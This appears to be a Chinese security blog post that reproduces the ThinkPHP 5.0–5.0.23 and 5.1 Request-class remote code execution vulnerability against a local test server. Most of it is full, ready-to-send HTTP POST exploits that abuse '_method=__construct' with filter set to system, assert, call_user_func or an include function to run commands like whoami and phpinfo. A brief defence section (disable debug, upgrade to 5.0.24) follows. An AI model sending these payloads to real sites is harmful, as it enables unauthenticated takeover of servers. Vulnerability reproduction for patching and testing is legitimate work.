ThinkPHP5 核心類 Request 遠程代碼漏洞復現+Poc
漏洞介紹
2019年1月11日,ThinkPHP團隊發布了一個補丁更新,修復了一處由於不安全的動態函數調用導致的遠程代碼執行漏洞。
ThinkPHP官方發布新版本5.0.24,在1月14日和15日又接連發布兩個更新,這三次更新都修復了一個安全問題,該問題可能導致遠程代碼執行 ,這是ThinkPHP近期的第二個高危漏洞,兩個漏洞均是無需登錄即可遠程觸發,危害極大。
之前寫過一篇文章《ThinkPHP-5-代碼執行漏洞復現-POC》里面有提過一次,這篇文章主要對其不同版本下進行詳細的復現。
影響版本
啟明星辰ADLab安全研究員對ThinkPHP的多個版本進行源碼分析和驗證后,確認具體受影響的版本為ThinkPHP5.0-5.0.23完整版。
漏洞復現
本地環境采用ThinkPHP 5.0.10和5.0.22完整版+PHP7.0.9+Apache2.4.39進行復現。安裝環境后執行POC即可執行系統命令
版本 5.0.0-5.0.12
Payload:
POST /public/index.php?s=index/index/index HTTP/1.1
Host: 192.168.1.236
Content-Length: 48
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
s=whoami&_method=__construct&filter[]=system
POC執行結果如下圖:


版本 5.0.12-5.0.23
在5.0.12之后的版本中,在thinkphp/library/think/App.php的module方法中增加了設置filter過濾屬性的代碼

開啟debug調試模式,打開配置文件config.php

修改為

Payload 1
POST /public/index.php HTTP/1.1
Host: 192.168.1.236
Content-Length: 76
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: thinkphp_show_page_trace=0|0
Connection: close
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
POC執行結果如下圖:


Payload 2
POST /public/index.php HTTP/1.1
Host: 192.168.1.236
Content-Length: 76
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: thinkphp_show_page_trace=0|0
Connection: close
_method=__construct&filter[]=think\__include_file&server[]=phpinfo&get[]=../runtime/log/202007/08.log&x=phpinfo();
POC執行結果如下圖:


Payload 3
POST /public/index.php HTTP/1.1
Host: 192.168.1.236
Content-Length: 76
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: thinkphp_show_page_trace=0|0
Connection: close
_method=__construct&filter[]=assert&server[]=phpinfo&get[]=phpinfo()
POC執行結果如下圖:

Payload 4
POST /public/index.php HTTP/1.1
Host: 192.168.1.236
Content-Length: 76
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: thinkphp_show_page_trace=0|0
Connection: close
_method=__construct&filter[]=call_user_func&server[]=phpinfo&get[]=phpinfo
POC執行結果如下圖:

版本 5.1.10(PHP7.3.4+Apache2.4.39)
5.1和5.2兩個版本現在用的很少,並且針對於這兩個版本有點雞肋,需要index.php文件中跳過報錯提示。 語句:error_reporting(0);
需設置 error_reporting(0);
Payload:
POST /public/index.php HTTP/1.1
Host: 192.168.1.236
Content-Length: 76
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: thinkphp_show_page_trace=0|0
Connection: close
c=system&f=whoami&_method=filter
一開始執行結果如下圖:

找到RuleGroup.php 新增一行代碼error_reporting(0);跳過報錯

然后查看結果

漏洞防御
-
線上環境建議關閉debug模式
-
升級到ThinkPHP 5.0.24
-
手動增加過濾,在
thinkphp/library/think/Request.php添加如下代碼:

參考鏈接
ThinkPHP 5.0.0~5.0.23 RCE 漏洞分析
